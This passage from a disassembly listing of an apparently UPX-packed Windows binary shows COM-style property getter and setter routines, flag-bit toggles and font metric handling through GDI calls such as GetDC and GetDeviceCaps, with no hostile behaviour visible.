[ebp+arg_0] call sub_40120D mov ecx, [edi] lea edx, [ebp+var_4] push edx push [ebp+arg_C] push dword ptr [eax] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push dword ptr [eax+8] push dword ptr [eax+4] push dword ptr [eax] push edi call dword ptr [ecx+40h] push [ebp+arg_0] call dword_41D25C pop esi loc_403130: ; CODE XREF: sub_4030E7+14j mov eax, [ebp+var_4] pop edi leave retn 10h sub_4030E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403138 proc near ; DATA XREF: UPX0:004241B8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx xor ebx, ebx push edi mov edi, [ebp+arg_4] inc ebx test edi, edi jnz short loc_403151 mov eax, 80004003h jmp loc_4031D3 ; --------------------------------------------------------------------------- loc_403151: ; CODE XREF: sub_403138+Dj and dword ptr [edi], 0 push esi mov esi, [ebp+arg_0] mov eax, [esi+34h] test eax, eax jz short loc_403179 push [ebp+arg_8] mov ecx, [eax] push edi push eax call dword ptr [ecx+44h] mov ebx, eax test ebx, ebx jl short loc_403174 cmp dword ptr [edi], 0 jnz short loc_4031D0 loc_403174: ; CODE XREF: sub_403138+35j xor ebx, ebx inc ebx jmp short loc_4031D0 ; --------------------------------------------------------------------------- loc_403179: ; CODE XREF: sub_403138+25j push dword ptr [esi+0A0h] call dword_41D238 test eax, eax jz short loc_4031D0 push dword ptr [esi+0A0h] call dword_41D258 add eax, 2 push eax mov [ebp+arg_4], eax call dword_41D3BC mov ebx, eax test ebx, ebx jnz short loc_4031AF mov eax, 8007000Eh jmp short loc_4031D2 ; --------------------------------------------------------------------------- loc_4031AF: ; CODE XREF: sub_403138+6Ej push dword ptr [esi+0A0h] push [ebp+arg_4] push ebx call sub_4010AC add esp, 0Ch test al, al jnz short loc_4031CC mov eax, 80004005h jmp short loc_4031D2 ; --------------------------------------------------------------------------- loc_4031CC: ; CODE XREF: sub_403138+8Bj mov [edi], ebx xor ebx, ebx loc_4031D0: ; CODE XREF: sub_403138+3Aj ; sub_403138+3Fj ... mov eax, ebx loc_4031D2: ; CODE XREF: sub_403138+75j ; sub_403138+92j pop esi loc_4031D3: ; CODE XREF: sub_403138+14j pop edi pop ebx pop ebp retn 0Ch sub_403138 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4031D9 proc near ; DATA XREF: UPX0:004241BCo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, [ebp+arg_8] test esi, esi jnz short loc_4031EB mov eax, 80004003h jmp short loc_403241 ; --------------------------------------------------------------------------- loc_4031EB: ; CODE XREF: sub_4031D9+9j and dword ptr [esi], 0 mov eax, [ebp+arg_0] mov eax, [eax+34h] push edi mov edi, 80004001h test eax, eax jz short loc_40323E and [ebp+arg_8], 0 mov ecx, [eax] lea edx, [ebp+arg_8] push edx push [ebp+arg_4] push eax call dword ptr [ecx+48h] mov edi, eax mov eax, [ebp+arg_8] test eax, eax jz short loc_403228 mov ecx, [eax] push esi push offset dword_4242E4 push eax call dword ptr [ecx] mov edi, eax mov eax, [ebp+arg_8] loc_403228: ; CODE XREF: sub_4031D9+3Dj test edi, edi jl short loc_403231 cmp dword ptr [esi], 0 jnz short loc_403234 loc_403231: ; CODE XREF: sub_4031D9+51j xor edi, edi inc edi loc_403234: ; CODE XREF: sub_4031D9+56j test eax, eax jz short loc_40323E mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40323E: ; CODE XREF: sub_4031D9+23j ; sub_4031D9+5Dj mov eax, edi pop edi loc_403241: ; CODE XREF: sub_4031D9+10j pop esi pop ebp retn 0Ch sub_4031D9 endp ; =============== S U B R O U T I N E ======================================= sub_403246 proc near ; DATA XREF: UPX0:004241C0o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] test esi, esi jnz short loc_403256 mov eax, 80004003h jmp short loc_40328F ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: sub_403246+7j and dword ptr [esi], 0 mov eax, [esp+4+arg_0] mov ecx, [eax+34h] test ecx, ecx jz short loc_40327B mov eax, [ecx] push esi push ecx call dword ptr [eax+4Ch] test eax, eax jl short loc_403274 cmp dword ptr [esi], 0 jnz short loc_40328F loc_403274: ; CODE XREF: sub_403246+27j mov eax, 80004002h jmp short loc_40328F ; --------------------------------------------------------------------------- loc_40327B: ; CODE XREF: sub_403246+1Cj mov ecx, [eax+30h] mov [esi], ecx mov eax, [eax+30h] test eax, eax jz short loc_40328D mov ecx, [eax] push eax call dword ptr [ecx+4] loc_40328D: ; CODE XREF: sub_403246+3Fj xor eax, eax loc_40328F: ; CODE XREF: sub_403246+Ej ; sub_403246+2Cj ... pop esi retn 8 sub_403246 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403293 proc near ; DATA XREF: UPX0:004241C4o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_C] test ebx, ebx jnz short loc_4032A9 mov eax, 80004003h jmp loc_403348 ; --------------------------------------------------------------------------- loc_4032A9: ; CODE XREF: sub_403293+Aj and dword ptr [ebx], 0 mov eax, [ebp+arg_0] push esi push edi mov edi, [eax+34h] mov [ebp+var_4], 1 test edi, edi jz loc_403343 push [ebp+arg_8] and [ebp+arg_C], 0 lea esi, [ebp+arg_0] call sub_4011E3 mov eax, [eax] mov ecx, [edi] lea edx, [ebp+arg_C] push edx push eax push [ebp+arg_4] push edi call dword ptr [ecx+50h] push [ebp+arg_0] mov esi, dword_41D25C mov [ebp+var_4], eax call esi ; dword_41D25C cmp [ebp+var_4], 0 jl short loc_403337 push [ebp+arg_C] mov edi, dword_41D238 call edi ; dword_41D238 test eax, eax jz short loc_403337 push [ebp+arg_C] call edi ; dword_41D238 lea edi, [eax+eax+2] push edi call dword_41D3BC mov [ebx], eax test eax, eax jnz short loc_403327 push [ebp+arg_C] call esi ; dword_41D25C mov eax, 8007000Eh jmp short loc_403346 ; --------------------------------------------------------------------------- loc_403327: ; CODE XREF: sub_403293+86j push edi push [ebp+arg_C] push edi push eax call sub_401125 ; --------------------------------------------------------------------------- add esp, 10h jmp short loc_40333E ; --------------------------------------------------------------------------- loc_403337: ; CODE XREF: sub_403293+61j ; sub_403293+70j mov [ebp+var_4], 1 loc_40333E: ; CODE XREF: sub_403293+A2j push [ebp+arg_C] call esi ; dword_41D25C loc_403343: ; CODE XREF: sub_403293+2Aj mov eax, [ebp+var_4] loc_403346: ; CODE XREF: sub_403293+92j pop edi pop esi loc_403348: ; CODE XREF: sub_403293+11j pop ebx leave retn 10h sub_403293 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40334D proc near ; DATA XREF: UPX0:004241C8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi mov edi, [ebp+arg_8] test edi, edi jnz short loc_40335F mov eax, 80004003h jmp short loc_4033B7 ; --------------------------------------------------------------------------- loc_40335F: ; CODE XREF: sub_40334D+9j and dword ptr [edi], 0 push ebx push esi mov esi, [ebp+arg_0] mov eax, [esi+34h] xor ebx, ebx inc ebx test eax, eax jz short loc_4033B3 and [ebp+arg_8], 0 mov ecx, [eax] lea edx, [ebp+arg_8] push edx push [ebp+arg_4] push eax call dword ptr [ecx+54h] cmp [ebp+arg_8], 0 mov ebx, eax jz short loc_40339A push edi lea eax, [esi-24h] mov ecx, [eax] push offset dword_4242F4 push eax call dword ptr [ecx] mov ebx, eax loc_40339A: ; CODE XREF: sub_40334D+3Bj test ebx, ebx jl short loc_4033A3 cmp dword ptr [edi], 0 jnz short loc_4033A6 loc_4033A3: ; CODE XREF: sub_40334D+4Fj xor ebx, ebx inc ebx loc_4033A6: ; CODE XREF: sub_40334D+54j mov eax, [ebp+arg_8] test eax, eax jz short loc_4033B3 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4033B3: ; CODE XREF: sub_40334D+22j ; sub_40334D+5Ej pop esi mov eax, ebx pop ebx loc_4033B7: ; CODE XREF: sub_40334D+10j pop edi pop ebp retn 0Ch sub_40334D endp ; =============== S U B R O U T I N E ======================================= sub_4033BC proc near ; CODE XREF: sub_403418+69p ; sub_4034C9+18p ... push 0 mov eax, offset loc_41BF38 call sub_40C46D mov eax, [ebp+8] mov eax, [eax+60h] xor ecx, ecx xor esi, esi mov [ebp+8], ecx test eax, eax jz short loc_4033EA mov ecx, [eax] lea edx, [ebp+8] push edx push offset dword_424304 push eax call dword ptr [ecx] mov ecx, [ebp+8] loc_4033EA: ; CODE XREF: sub_4033BC+1Bj and dword ptr [ebp-4], 0 test ecx, ecx jz short loc_403400 push dword ptr [ebp+0Ch] mov eax, [ecx] push ecx call dword ptr [eax+14h] mov ecx, [ebp+8] mov esi, eax loc_403400: ; CODE XREF: sub_4033BC+34j or dword ptr [ebp-4], 0FFFFFFFFh test ecx, ecx jz short loc_40340E mov eax, [ecx] push ecx call dword ptr [eax+8] loc_40340E: ; CODE XREF: sub_4033BC+4Aj mov eax, esi call sub_40C50C retn 8 sub_4033BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403418 proc near ; DATA XREF: UPX0:004241ECo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp push esi push [ebp+arg_20] mov esi, [ebp+arg_0] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_404E7C cmp eax, 80020003h jz short loc_40344B cmp eax, 8002802Bh jnz short loc_403486 loc_40344B: ; CODE XREF: sub_403418+2Aj mov ecx, [esi+8] test ecx, ecx jz short loc_403486 push [ebp+arg_20] mov eax, [ecx] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ecx call dword ptr [eax+18h] test eax, eax jl short loc_403486 test byte ptr [ebp+arg_10], 4 jz short loc_403486 push [ebp+arg_4] add esi, 0FFFFFFB4h push esi call sub_4033BC loc_403486: ; CODE XREF: sub_403418+31j ; sub_403418+38j ... pop esi pop ebp retn 24h sub_403418 endp ; =============== S U B R O U T I N E ======================================= sub_40348B proc near ; DATA XREF: UPX0:004241F0o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] xor ecx, [eax+7Ch] and ecx, 1 xor [eax+7Ch], ecx xor eax, eax retn 8 sub_40348B endp ; =============== S U B R O U T I N E ======================================= sub_4034A1 proc near ; DATA XREF: UPX0:004241F4o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_4034B0 mov eax, 80004003h jmp short locret_4034C6 ; --------------------------------------------------------------------------- loc_4034B0: ; CODE XREF: sub_4034A1+6j mov ecx, [esp+arg_0] mov ecx, [ecx+7Ch] and cl, 1 movzx ecx, cl neg ecx sbb ecx, ecx mov [eax], cx xor eax, eax locret_4034C6: ; CODE XREF: sub_4034A1+Dj retn 8 sub_4034A1 endp ; =============== S U B R O U T I N E ======================================= sub_4034C9 proc near ; DATA XREF: UPX0:004241F8o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov [esi+80h], eax push 0FFFFFD43h lea eax, [esi-4Ch] push eax call sub_4033BC push 0 lea eax, [esi-20h] mov ecx, [eax] push 0 push eax call dword ptr [ecx+64h] xor eax, eax pop esi retn 8 sub_4034C9 endp ; =============== S U B R O U T I N E ======================================= sub_4034F9 proc near ; DATA XREF: UPX0:004241FCo arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_403508 mov eax, 80004003h jmp short locret_403516 ; --------------------------------------------------------------------------- loc_403508: ; CODE XREF: sub_4034F9+6j mov ecx, [esp+arg_0] mov ecx, [ecx+80h] mov [eax], ecx xor eax, eax locret_403516: ; CODE XREF: sub_4034F9+Dj retn 8 sub_4034F9 endp ; =============== S U B R O U T I N E ======================================= sub_403519 proc near ; DATA XREF: UPX0:00424200o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] mov [eax+84h], ecx push 0FFFFFD40h add eax, 0FFFFFFB4h push eax call sub_4033BC xor eax, eax retn 8 sub_403519 endp ; =============== S U B R O U T I N E ======================================= sub_40353A proc near ; DATA XREF: UPX0:00424204o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_403549 mov eax, 80004003h jmp short locret_403557 ; --------------------------------------------------------------------------- loc_403549: ; CODE XREF: sub_40353A+6j mov ecx, [esp+arg_0] mov ecx, [ecx+84h] mov [eax], ecx xor eax, eax locret_403557: ; CODE XREF: sub_40353A+Dj retn 8 sub_40353A endp ; =============== S U B R O U T I N E ======================================= sub_40355A proc near ; DATA XREF: UPX0:00424208o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] mov [eax+88h], ecx push 0FFFFFD3Fh add eax, 0FFFFFFB4h push eax call sub_4033BC xor eax, eax retn 8 sub_40355A endp ; =============== S U B R O U T I N E ======================================= sub_40357B proc near ; DATA XREF: UPX0:0042420Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_40358A mov eax, 80004003h jmp short locret_403598 ; --------------------------------------------------------------------------- loc_40358A: ; CODE XREF: sub_40357B+6j mov ecx, [esp+arg_0] mov ecx, [ecx+88h] mov [eax], ecx xor eax, eax locret_403598: ; CODE XREF: sub_40357B+Dj retn 8 sub_40357B endp ; =============== S U B R O U T I N E ======================================= sub_40359B proc near ; DATA XREF: UPX0:00424210o arg_0 = dword ptr 4 arg_4 = word ptr 8 movsx ecx, [esp+arg_4] mov eax, [esp+arg_0] add ecx, ecx xor ecx, [eax+7Ch] push 0FFFFFD3Bh and ecx, 2 xor [eax+7Ch], ecx add eax, 0FFFFFFB4h push eax call sub_4033BC xor eax, eax retn 8 sub_40359B endp ; =============== S U B R O U T I N E ======================================= sub_4035C2 proc near ; DATA XREF: UPX0:00424214o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_4035D1 mov eax, 80004003h jmp short locret_4035E7 ; --------------------------------------------------------------------------- loc_4035D1: ; CODE XREF: sub_4035C2+6j mov ecx, [esp+arg_0] mov ecx, [ecx+7Ch] and cl, 2 movzx ecx, cl neg ecx sbb ecx, ecx mov [eax], cx xor eax, eax locret_4035E7: ; CODE XREF: sub_4035C2+Dj retn 8 sub_4035C2 endp ; =============== S U B R O U T I N E ======================================= sub_4035EA proc near ; DATA XREF: UPX0:00424218o arg_0 = dword ptr 4 arg_4 = word ptr 8 movsx ecx, [esp+arg_4] mov eax, [esp+arg_0] shl ecx, 2 xor ecx, [eax+7Ch] push 0FFFFFD37h and ecx, 4 xor [eax+7Ch], ecx add eax, 0FFFFFFB4h push eax call sub_4033BC xor eax, eax retn 8 sub_4035EA endp ; =============== S U B R O U T I N E ======================================= sub_403612 proc near ; DATA XREF: UPX0:0042421Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_403621 mov eax, 80004003h jmp short locret_403637 ; --------------------------------------------------------------------------- loc_403621: ; CODE XREF: sub_403612+6j mov ecx, [esp+arg_0] mov ecx, [ecx+7Ch] and cl, 4 movzx ecx, cl neg ecx sbb ecx, ecx mov [eax], cx xor eax, eax locret_403637: ; CODE XREF: sub_403612+Dj retn 8 sub_403612 endp ; =============== S U B R O U T I N E ======================================= sub_40363A proc near ; DATA XREF: UPX0:00424220o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] lea esi, [ebx+8Ch] cmp [esi], edi jz short loc_403654 call sub_4011B4 loc_403654: ; CODE XREF: sub_40363A+13j push 0FFFFFD41h add ebx, 0FFFFFFB4h push ebx call sub_4033BC pop edi pop esi xor eax, eax pop ebx retn 8 sub_40363A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_40366A proc near ; DATA XREF: UPX0:00424224o var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = word ptr -7Ch var_7A = word ptr -7Ah var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_50 = word ptr -50h var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_44 = byte ptr -44h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 8Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+70h+var_4], eax mov eax, [ebp+70h+arg_4] push ebx mov ebx, [ebp+70h+arg_0] mov [ebp+70h+var_6C], eax test eax, eax jnz short loc_403697 mov eax, 80004003h jmp loc_4037AD ; --------------------------------------------------------------------------- loc_403697: ; CODE XREF: sub_40366A+21j and dword ptr [eax], 0 push esi lea esi, [ebx+8Ch] cmp dword ptr [esi], 0 push edi jnz loc_403799 call off_42A000 mov edi, dword_41D04C push 11h call edi ; dword_41D04C test eax, eax jnz short loc_4036CB push 0Dh call edi ; dword_41D04C test eax, eax jz loc_403755 loc_4036CB: ; CODE XREF: sub_40366A+53j lea ecx, [ebp+70h+var_60] push ecx push 5Ch push eax call dword_41D048 ; GetObjectW lea eax, [ebp+70h+var_44] mov [ebp+70h+var_88], eax mov ax, [ebp+70h+var_50] mov [ebp+70h+var_7C], ax movzx ax, [ebp+70h+var_49] mov [ebp+70h+var_7A], ax movzx eax, [ebp+70h+var_4C] mov [ebp+70h+var_78], eax movzx eax, [ebp+70h+var_4B] mov [ebp+70h+var_74], eax movzx eax, [ebp+70h+var_4A] mov [ebp+70h+var_70], eax mov eax, [ebp+70h+var_60] mov [ebp+70h+var_8C], 20h mov [ebp+70h+var_68], eax test eax, eax jge short loc_40371A neg eax mov [ebp+70h+var_68], eax loc_40371A: ; CODE XREF: sub_40366A+A9j mov eax, [ebx-48h] test eax, eax jz short loc_403740 push eax call dword_41D2DC ; GetDC mov edi, eax test edi, edi jz short loc_403755 push 5Ah push edi call dword_41D034 ; GetDeviceCaps push edi push dword ptr [ebx-48h] mov [ebp+70h+var_64], eax jmp short loc_40376C ; --------------------------------------------------------------------------- loc_403740: ; CODE XREF: sub_40366A+B5j mov edi, dword_41D2AC call edi ; dword_41D2AC push eax call dword_41D2DC ; GetDC mov ebx, eax test ebx, ebx jnz short loc_40375C loc_403755: ; CODE XREF: sub_40366A+5Bj ; sub_40366A+C2j call sub_40119F jmp short loc_4037AB ; --------------------------------------------------------------------------- loc_40375C: ; CODE XREF: sub_40366A+E9j push 5Ah push ebx call dword_41D034 ; GetDeviceCaps push ebx mov [ebp+70h+var_64], eax call edi ; dword_41D2AC push eax loc_40376C: ; CODE XREF: sub_40366A+D4j call dword_41D2BC ; ReleaseDC mov eax, [ebp+70h+var_68] imul eax, 0AFC80h cdq idiv [ebp+70h+var_64] and [ebp+70h+var_80], 0 push esi push offset dword_424314 mov [ebp+70h+var_84], eax lea eax, [ebp+70h+var_8C] push eax call dword_41D254 mov eax, [ebp+70h+var_6C] loc_403799: ; CODE XREF: sub_40366A+3Bj mov ecx, [esi] mov [eax], ecx mov esi, [esi] test esi, esi jz short loc_4037A9 mov eax, [esi] push esi call dword ptr [eax+4] loc_4037A9: ; CODE XREF: sub_40366A+137j xor eax, eax loc_4037AB: ; CODE XREF: sub_40366A+F0j pop edi pop esi loc_4037AD: ; CODE XREF: sub_40366A+28j mov ecx, [ebp+70h+var_4] xor ecx, ebp pop ebx call sub_40AC1C add ebp, 70h leave retn 8 sub_40366A endp ; =============== S U B R O U T I N E ======================================= sub_4037BF proc near ; DATA XREF: UPX0:00424228o arg_0 = dword ptr 4 arg_4 = word ptr 8 movsx ecx, [esp+arg_4] mov eax, [esp+arg_0] shl ecx, 3 xor ecx, [eax+7Ch] push 0FFFFFD3Eh and ecx, 8 xor [eax+7Ch], ecx add eax, 0FFFFFFB4h push eax call sub_4033BC xor eax, eax retn 8 sub_4037BF endp ; =============== S U B R O U T I N E ======================================= sub_4037E7 proc near ; DATA XREF: UPX0:0042422Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_4037F6 mov eax, 80004003h jmp short locret_40380C ; --------------------------------------------------------------------------- loc_4037F6: ; CODE XREF: sub_4037E7+6j mov ecx, [esp+arg_0] mov ecx, [ecx+7Ch] and cl, 8 movzx ecx, cl neg ecx sbb ecx, ecx mov [eax], cx xor eax, eax locret_40380C: ; CODE XREF: sub_4037E7+Dj retn 8 sub_4037E7 endp ; =============== S U B R O U T I N E ======================================= sub_40380F proc near ; DATA XREF: UPX0:00424230o arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor eax, eax mov [ecx], ax retn 8 sub_40380F endp ; =============== S U B R O U T I N E ======================================= sub_40381B proc near ; DATA XREF: UPX0:00424234o arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_40382A mov eax, 80004003h jmp short locret_403831 ; --------------------------------------------------------------------------- loc_40382A: ; CODE XREF: sub_40381B+6j xor ecx, ecx mov [eax], cx xor eax, eax locret_403831: ; CODE XREF: sub_40381B+Dj retn 8 sub_40381B endp ; =============== S U B R O U T I N E ======================================= sub_403834 proc near ; DATA XREF: UPX0:00424238o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] mov [eax+94h], ecx push 0FFFFFFFFh add eax, 0FFFFFFB4h push eax call sub_4033BC xor eax, eax retn 8 sub_403834 endp ; =============== S U B R O U T I N E ======================================= sub_403852 proc near ; DATA XREF: UPX0:0042423Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_403861 mov eax, 80004003h jmp short locret_40386F ; --------------------------------------------------------------------------- loc_403861: ; CODE XREF: sub_403852+6j mov ecx, [esp+arg_0] mov ecx, [ecx+94h] mov [eax], ecx xor eax, eax locret_40386F: ; CODE XREF: sub_403852+Dj retn 8 sub_403852 endp ; =============== S U B R O U T I N E ======================================= sub_403872 proc near ; DATA XREF: UPX0:00424240o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] mov [eax+98h], ecx xor eax, eax retn 8 sub_403872 endp ; =============== S U B R O U T I N E ======================================= sub_403885 proc near ; DATA XREF: UPX0:00424244o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_403894 mov eax, 80004003h jmp short locret_4038A2 ; --------------------------------------------------------------------------- loc_403894: ; CODE XREF: sub_403885+6j mov ecx, [esp+arg_0] mov ecx, [ecx+98h] mov [eax], ecx xor eax, eax locret_4038A2: ; CODE XREF: sub_403885+Dj retn 8 sub_403885 endp ; =============== S U B R O U T I N E ======================================= sub_4038A5 proc near ; DATA XREF: UPX0:00424248o arg_0 = dword ptr 4 arg_4 = word ptr 8 movsx ecx, [esp+arg_4] mov eax, [esp+arg_0] shl ecx, 5 xor ecx, [eax+7Ch] and ecx, 20h xor [eax+7Ch], ecx xor eax, eax retn 8 sub_4038A5 endp ; =============== S U B R O U T I N E ======================================= sub_4038BF proc near ; DATA XREF: UPX0:0042424Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_4038CE mov eax, 80004003h jmp short locret_4038E4 ; --------------------------------------------------------------------------- loc_4038CE: ; CODE XREF: sub_4038BF+6j mov ecx, [esp+arg_0] mov ecx, [ecx+7Ch] and cl, 20h movzx ecx, cl neg ecx sbb ecx, ecx mov [eax], cx xor eax, eax locret_4038E4: ; CODE XREF: sub_4038BF+Dj retn 8 sub_4038BF endp ; =============== S U B R O U T I N E ======================================= sub_4038E7 proc near ; DATA XREF: UPX0:00424250o arg_0 = dword ptr 4 arg_4 = word ptr 8 movsx ecx, [esp+arg_4] mov eax, [esp+arg_0] shl ecx, 6 xor ecx, [eax+7Ch] and ecx, 40h xor [eax+7Ch], ecx xor eax, eax retn 8 sub_4038E7 endp ; =============== S U B R O U T I N E ======================================= sub_403901 proc near ; DATA XREF: UPX0:00424254o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_403910 mov eax, 80004003h jmp short locret_403926 ; --------------------------------------------------------------------------- loc_403910: ; CODE XREF: sub_403901+6j mov ecx, [esp+arg_0] mov ecx, [ecx+7Ch] and cl, 40h movzx ecx, cl neg ecx sbb ecx, ecx mov [eax], cx xor eax, eax locret_403926: ; CODE XREF: sub_403901+Dj retn 8 sub_403901 endp ; =============== S U B R O U T I N E ======================================= sub_403929 proc near ; DATA XREF: UPX0:00424258o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] mov eax, [esi+9Ch] cmp [esp+4+arg_4], eax jz short loc_40396D push eax call dword_41D25C cmp [esp+4+arg_4], 0 jz short loc_403966 push [esp+4+arg_4] call dword_41D234 mov [esi+9Ch], eax test eax, eax jnz short loc_40396D push 8007000Eh call sub_4010D8 ; --------------------------------------------------------------------------- loc_403966: ; CODE XREF: sub_403929+1Dj and dword ptr [esi+9Ch], 0 loc_40396D: ; CODE XREF: sub_403929+Fj ; sub_403929+31j xor eax, eax pop esi retn 8 sub_403929 endp ; =============== S U B R O U T I N E ======================================= sub_403973 proc near ; DATA XREF: UPX0:0042425Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_403982 mov eax, 80004003h jmp short locret_403990 ; --------------------------------------------------------------------------- loc_403982: ; CODE XREF: sub_403973+6j mov ecx, [esp+arg_0] mov ecx, [ecx+9Ch] mov [eax], ecx xor eax, eax locret_403990: ; CODE XREF: sub_403973+Dj retn 8 sub_403973 endp ; =============== S U B R O U T I N E ======================================= sub_403993 proc near ; DATA XREF: UPX0:00424260o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] add esi, 8 cmp [esi], edi jz short loc_4039A9 call sub_4011B4 loc_4039A9: ; CODE XREF: sub_403993+Fj pop edi xor eax, eax pop esi retn 8 sub_403993 endp ; --------------------------------------------------------------------------- loc_4039B0: ; DATA XREF: UPX0:0042413Co push esi mov esi, [esp+8] push edi push dword ptr [esp+10h] push esi call sub_404DA7 mov edi, eax test edi, edi jl short loc_4039E0 mov eax, [esi+4] test eax, eax jz short loc_4039E0 mov ecx, [eax] lea edx, [esi+0A4h] push edx push offset dword_423B7C push eax call dword ptr [ecx] mov edi, eax loc_4039E0: ; CODE XREF: UPX0:004039C4j ; UPX0:004039CBj cmp dword ptr [esp+10h], 0 jnz short loc_4039FC lea eax, [esi+0A4h] mov ecx, [eax] test ecx, ecx jz short loc_4039FC and dword ptr [eax], 0 mov eax, [ecx] push ecx call dword ptr [eax+8] loc_4039FC: ; CODE XREF: UPX0:004039E5j ; UPX0:004039F1j mov eax, edi pop edi pop esi retn 8 ; =============== S U B R O U T I N E ======================================= sub_403A03 proc near ; DATA XREF: UPX0:00424100o mov eax, 80004001h retn 10h sub_403A03 endp ; --------------------------------------------------------------------------- push edi mov edi, [esp+0Ch] mov eax, 80004003h test edi, edi jz short loc_403A45 and dword ptr [edi], 0 push ebx mov ebx, [esp+0Ch] mov eax, [ebx+14h] push esi mov esi, offset dword_423B9C test eax, eax jz short loc_403A39 mov ecx, [eax] push edi push esi push eax call dword ptr [ecx] test eax, eax jge short loc_403A43 loc_403A39: ; CODE XREF: UPX0:00403A2Cj push edi lea eax, [ebx-4] mov ecx, [eax] push esi push eax call dword ptr [ecx] loc_403A43: ; CODE XREF: UPX0:00403A37j pop esi pop ebx loc_403A45: ; CODE XREF: UPX0:00403A17j pop edi retn 8 ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi push dword ptr [esi-24h] call dword_41D2DC ; GetDC mov edi, eax xor edx, edx cmp edi, edx jnz short loc_403A67 mov eax, 80004005h jmp short loc_403A94 ; --------------------------------------------------------------------------- loc_403A67: ; CODE XREF: UPX0:00403A5Ej mov eax, [esi+48h] cmp eax, edx jz short loc_403A88 push ebx mov ebx, [eax] push edx push edx lea ecx, [esi+8Ch] push ecx push ecx push edi push edx push edx push edx push 0FFFFFFFFh push 1 push eax call dword ptr [ebx+0Ch] pop ebx loc_403A88: ; CODE XREF: UPX0:00403A6Cj push edi push dword ptr [esi-24h] call dword_41D2BC ; ReleaseDC xor eax, eax loc_403A94: ; CODE XREF: UPX0:00403A65j pop edi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, [esp+4] mov eax, [eax-28h] mov ecx, [esp+8] mov [ecx], eax xor eax, eax retn 8 ; --------------------------------------------------------------------------- 